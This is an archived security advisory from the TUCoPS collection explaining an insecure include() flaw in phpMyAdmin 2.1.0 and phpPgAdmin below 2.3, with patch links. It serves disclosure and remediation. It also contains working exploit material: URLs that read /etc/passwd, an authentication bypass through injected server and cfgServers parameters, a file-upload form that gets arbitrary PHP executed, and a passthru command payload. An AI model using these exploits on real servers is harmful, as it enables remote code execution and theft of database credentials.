Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: Adminware, Control Panels :: phpadm~1.htm

phpMyAdmin and phpPgAdmin insecure include() calls



Vulnerability

    phpMyAdmin and phpPgAdmin

Affected

    phpMyAdmin 2.1.0
    phpPgAdmin below 2.3

Description

    Following  is  based  on  a  Secure  Reality Security Pre-Advisory
    SRPRE00001 and Security Advisory #8 SRADV00008.  phpMyAdmin is  an
    easy to use web  based administration interface for  MySQL written
    in PHP.  It was  written by Tobias Ratschiller, author  of several
    PHP textbooks, regular speaker on PHP and prominent member of  the
    PHP  community.    phpMyAdmin  is  extremely   popular  and   very
    widespread  (site  rankings  show  it  almost  as  popular  as PHP
    itself)  since  it  makes  most  MySQL  administration  tasks much
    easier.

    A further  indication of  its popularity  is the  fact that is has
    since been ported (largely by independent development) from  MySQL
    to  also  work  on  PostgreSQL   as  a  separate  product   called
    phpPgAdmin.

    phpMyAdmin (and phpPgAdmin by its common code base) makes insecure
    calls to the PHP function include(). Installations of the versions
    specified are vulnerable  to attacks in  which the attacker  gains
    the ability to execute arbitrary commands (and code) on the remote
    web server with the permissions of the web server user,  typically
    'nobody'.   Please  note  that  enabling 'Advanced Authentication'
    does _NOT_  prevent this  attack. Given  command execution ability
    the  attacker  also  gains  the  ability to read the configuration
    files of the installation, thereby gaining database credentials.

    The  problem  is  spotted  initially  with  a  trivial grep of the
    source.  The following line of code in sql.php seems suspicious:

        include($goto);

    The include() function tells PHP to read in the file specified  in
    the variable $goto  and interpret it  as though it  were PHP code.
    If the  attacker can  affect $goto  (with form  input) they may be
    able to point this at sensitive local files (e.g /etc/passwd)  and
    have them returned or even  worse, have their own PHP  interpreted
    which allows them to run arbitrary code.

    Looking at the context around this code:

        4 require("lib.inc.php");
        5 $no_require = true;
        6
        7
        8 if(isset($goto) && $goto == "sql.php")
        9 {
        10  $goto = "sql.php?server=$server&db=$db&table=$table&pos=$pos&sql_query=".urlencode($sql_query);
        11 }
        12
        13 // Go back to further page if table should not be dropped
        14 if(isset($btnDrop) && $btnDrop == $strNo)
        15 {
        16  if(file_exists($goto))
        17   include($goto);
        18  else
        19   Header("Location: $goto");
        20  exit;
        21 }

    sql.php is  normally used  by phpMyAdmin  to perform  freeform SQL
    queries (usually  select statements),  its also  used to  drop and
    empty tables. For drop and  empty actions the page is  designed to
    first confirm the action (with an 'Are you sure?' type page)  then
    perform the action and return  the user to an application  defined
    page.  The code we are  looking at above is the code  to determine
    if the person said no to the 'Are you sure?' and if so, to  return
    them to the page where they began.

    So, the user enters this  page by following a link  somewhere else
    in the  application.   The link  has as  form input, amongst other
    things, the $goto variable set  to an appropriate place to  return
    to once the action is completed (or cancelled as the case may be).

    Line  4   includes  some   sort  of   library  code    (presumably
    configuration information  too).   Then lines  8-11 redefine $goto
    to  include  form  information  if  the  page  set to return to is
    sql.php itself.   Line 14  checks if  the form  input contains the
    variable $btnDrop (which is the form button usually used to select
    'Yes' or  'No' at  the confirmation  prompt).   If the  input does
    contain $btnDrop and it is set to 'No' in the language  phpMyAdmin
    is using ($strNo) sql.php assumes the user has just clicked No  to
    a drop/clear action and begins  processing code to return them  to
    the page  they came  from.   Line 16  looks at  the $goto variable
    (which  is  set  as  described  above  in  the link used to get to
    sql.php to set a page to return to), it attempts to be intelligent
    and if that page is found on the local system (file_exists($goto))
    include()s  the  file  for   interpretation  by  PHP  instead   of
    redirecting the browser (as on line 19).

    This code is undoubtedly vulnerable.  The variable $goto is  MEANT
    to be  set by  the remote  web browser  in form  input and  can be
    pointed at  any local  file the  attacker wishes.   So as  a first
    attempt the attacker might surf in their web browser to:

        http://<vulnerable host>/phpMyAdmin/sql.php?btnDrop=No&goto=/etc/passwd

    which might be  expected to return  the text of  the password file
    on the remote  machine.  Unfortunately,  in most cases  this won't
    actually succeed and instead a username and password box will  pop
    up.   This  is  the  'Advanced  authentication'  configuration for
    phpMyAdmin.  phpMyAdmin  is not designed  for use on  the Internet
    (this  is  stated  in  the  documentation)  and  in its most basic
    configuration users  do not  have to  log in,  they simply have to
    know the url of the installation.  In this configuration a set  of
    MySQL  credentials  are  stored  in  a  configuration file and all
    users  of  the  application  share  those  credentials.   This  is
    obviously a bad thing, both on an Intranet and the Internet.  Thus
    later versions supply  an 'Advanced authentication'  configuration
    that forces  users to  login using  a MySQL  username and password
    and their access  is limited to  the access of  those credentials.
    Even though the documentation states phpMyAdmin should not be used
    on the Internet many users  have done so, relying on  the Advanced
    authentication to prevent anonymous users accessing the databases.

    So,  presumably  the  attacker  doesn't  have  credentials  on the
    remote databases  which means  they will  need a  way around  this
    authentication.  Remember  line  4   of  sql.php  which   included
    lib.inc.php?   Obviously  this  authentication  must  be happening
    somewhere inside there so here's some context:

        4 require("config.inc.php");

    ... definition of a few utility functions

        102 reset($cfgServers);
        103 while(list($key, $val) = each($cfgServers))
        104 {
        105  // Don't use servers with no hostname
        106  if (empty($val['host']))
        107   unset($cfgServers[$key]);
        108 }
        109
        110 if(empty($server) || !isset($cfgServers[$server]) ||
        !is_array($cfgServers[$server]))
        111  $server = $cfgServerDefault;
        112
        113 if($server == 0)
        114 {
        115  // If no server is selected, make sure that $cfgServer is empty
        116  // (so that nothing will work), and skip server authentication.
        117  // We do NOT exit here, but continue on without logging into
        118  // any server.  This way, the welcome page will still come up
        119  // (with no server info) and present a choice of servers in the
        120  // case that there are multiple servers and '$cfgServerDefault = 0'
        121  // is set.
        122  $cfgServer = array();
        123 }
        124 else
        125 {
        126  // Otherwise, set up $cfgServer and do the usual login stuff.
        127  $cfgServer = $cfgServers[$server];

    Line  4  includes  some  sort  of  configuration  information from
    config.inc.php.   Line 102  goes on  to enumerate  an array called
    $cfgServers  (which  presumably  is  set  in  config.inc.php)  and
    removes  any  entries  that  don't  have  a  'host' element (which
    implies  the  array  is  two   dimensional,  arrays  in  PHP   are
    associative).  Line 110 then checks if the variable $server is  ''
    or if $cfgServers[$server] isn't set or isn't itself an array,  if
    any   of   those   conditions   are   true   $server   is  set  to
    $cfgServerDefault.  Finally  the code checks  if $server is  0, if
    it is then (as the comment specified) authentication is completely
    skipped, obviously something the attacker would appreciate.

    Ok, so what does this mean? phpMyAdmin can be configured to manage
    several different MySQL servers. In this case, before demanding  a
    login, it provides a select box for the user to select which MySQL
    server they  want to  manage.   The code  around line  103 removes
    misconfigured servers.  The code around line 110 checks the  users
    selection,  if  it  isn't  in  the  list of configured servers the
    server is set to $cfgServerDefault (a default server).  Finally in
    line 113 the  program checks if  no server has  yet been selected,
    and if 0 has been selected  it doesn't force a login based  on the
    assumption the user must  be at the main  index about to choose  a
    server.   It  shouldn't  matter  anyway,  since  the  user  hasn't
    provided credentials for a database the application won't  connect
    anywhere  so  from  the  applications  point  of  view there is no
    security issue in  allowing pages to  execute while not  connected
    to a database.  However, the attacker is attacking the application
    and not the database.

    Given the above, the attacker obviously wants to set $server to  0
    so that  authentication will  be skipped.   But this  doesn't work
    (in   most   situations).     Looking   at   some   context   from
    config.inc.php:

        9 // The $cfgServers array starts with $cfgServers[1].  Do not use $cfgServers[0].
        10 // You can disable a server config entry by setting host to ''.
        11  $cfgServers[1]['host'] = 'localhost';           // MySQL hostname
        12  $cfgServers[1]['port'] = '';                    // MySQL port - leave blank for default port
        13  $cfgServers[1]['adv_auth'] = true;             // Use advanced authentic ation?
        
        ... more cfgServers[] entries ...
        
        41  // If you have more than one server configured, you can set $cfgServerDefault
        42 // to any one of them to autoconnect to that server when phpMyAdmin is started,
        43  // or set it to 0 to be given a list of servers without logging in
        44  // If you have only one server configured, $cfgServerDefault *MUST* be
        45  // set to that server.
        46  $cfgServerDefault = 1;                            // Default server  (0=no default server)
        47  $cfgServer = '';
        48  unset($cfgServers[0]);

    Line  48  above  deliberately  forces  cfgServers[0]  to be unset.
    This  means   that  if   an  attacker   sets  $server   =  0   the
    !isset($cfgServers[$server])  clause  of  the  if statment on line
    110 of lib.inc.php will evalutate to true and $server will be  set
    to $cfgServerDefault. As  the comment on  line 41 above  indicates
    $cfgServerDefault is usually set  to a specific server  (in almost
    all installations).   So the  attacker still  needs a  way to  set
    $server =  0 without  triggering the  if statement  that evaluates
    cfgServers[$server] and resets it to the default.

    The answer to this  is in loose typing.   $server simply needs  to
    evaluate to the  _numeric_ value 0.   It doesn't have  to be  '0',
    just evaluate  to 0.  Many different  strings evaluate  to 0,  for
    example '', '0', '00'.   So the attacker needs  to set $server  to
    some value  that evaluates  to 0  and insure  that the array entry
    $cfgServers[$server]['host'] is set.  Note that the config.inc.php
    code  never  EMPTIES  the  cfgServers  array,  this  means that an
    attacker can submit  as form input  entries for this  array.  Take
    for example the  $server value '000'.   This value evaluates  to 0
    in a numeric context.  The  attacker can now create as form  input
    $cfgServers[000][host]=hello.   Remember   that  PHP  arrays   are
    associative   (that   is,   the   index   is   a   string),   thus
    $cfgServers[000] is NOT the same as cfgServers[0].

    Given the above, the attacker might try the following in their web
    browser:

        http://<vulnerable host>/phpMyAdmin/sql.php?server=000&cfgServers[000][host]=hello&btnDrop=No&goto=/etc/passwd

    Sure enough, all the tests are  passed and the passwd file of  the
    remote server  is returned  in a  web page,  straight through  the
    firewall and past the IDS.

    Now, the attacker  is unlikely to  be satisfied with  simply being
    able to read files  on the remote web  server, they're goal is  to
    execute commands.  They have the ability to include any file  they
    wish to be executed as PHP, they simply need to get some PHP  code
    of their choosing into  a file on the  remote machine.  There  are
    many ways to do this in  PHP (see our paper for more  information)
    but the most obvious one is file upload.  Take the following form:

        <FORM ENCTYPE="multipart/form-data" ACTION="http://<vulnerable host>/phpMyAdmin/sql.php" METHOD=POST>
        <INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="10000">
        PHP File to be executed: <INPUT NAME="goto" TYPE="file">
        <INPUT TYPE="hidden" NAME="cfgServers[000][host]" VALUE="hello">
        <INPUT TYPE="hidden" NAME="server" VALUE="000">
        <INPUT TYPE="hidden" NAME="btnDrop" VALUE="No">
        <INPUT TYPE="submit" VALUE="Send File">

    If saved into a file and loaded into a web browser it brings up  a
    form asking for a file containing  PHP code to be executed on  the
    remote web  server.   The user  can click  the 'Browse' button and
    pick any file they  wish.  When the  user clicks 'Send File'  that
    file  is  uploaded  to  the  remote  web  server.   As default PHP
    functionality,  it  automatically  accepts  that file (even though
    sql.php does not process file  uploads) and saves it on  the local
    disk of the web server, it  then sets the location of the  file in
    the variable $goto (e.g  '/tmp/phpxXuoXG') and sets the  variables
    $server,  $btnDrop,  $cfgServers[000]  as  needed for the exploit.
    All the tests are again passed  but now instead of reading a  file
    that was  already local  the local  file is  one the  attacker has
    just uploaded.  If the file contained the following for example:

        <?php
        passthru("ls /etc");
        ?>

    a  directory  listing  of  the  /etc/  directory on the remote web
    server would be returned to the attackers web browser.   Obviously
    any command could be specified  and further exploit code could  be
    uploaded and executed as described in 'A Study In Scarlet'.

    The  attacker  can  also  gain  further  assistance by reading the
    contents   of   config.inc.   php.   In   Advanced  authentication
    installations it contains  database credentials for  each database
    to  be  administered  using  phpMyAdmin.   The credentials must be
    able to  read the  priviliges in  the mysql  database.  This means
    allows  an  attacker  to  easily  gain  access  to  the  encrypted
    password  hashes  of  all  the  users  on each MySQL installation.
    Further, most  installations actually  place the  MySQL root  user
    credentials in  this file  to save  effort of  creating a new user
    with select privileges on mysql.*.

    The  attack  on  phpPgAdmin  is  a  slight  variation  on  the one
    detailed above.  This is  because phpPgAdmin is based on  an older
    version of phpMyAdmin.  The attacker simply needs to set  $LIB_INC
    to 1 to prevent lib.inc.php  being included at all without  having
    to fool the application into  believing the user is yet  to select
    a server.  That is, an attack like the following works:

        http://<vulnerable host>/phpPgAdmin/sql.php?LIB_INC=1&btnDrop=No&goto=/etc/passwd

    As always with PHP there  are many caveats to the  attacks details
    in this advisory based on PHP configuration and version.

Solution

    phpPgAdmin 2.2.1:

        http://www.securereality.com.au/patches/phpPgAdmin-SecureReality.diff

    phpMyAdmin 2.2.0:

        http://www.securereality.com.au/patches/phpMyAdmin-SecureReality.diff

    Development of phpMyAdmin has been continued by an independent and
    unauthorized (as yet) group of developers who have released a  new
    version that contains fixes for this problem.  You can upgrade  to
    their version (2.2.0pre5) from:

        http://sourceforge.net/project/showfiles.php?group_id=23067

    The developers of  phpPgAdmin have patched  later versions to  fix
    this problem.  Please download the fixed version from:

        ftp://ftp.greatbridge.org/pub/phppgadmin/stable/phpPgAdmin_2-3.tar.gz


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH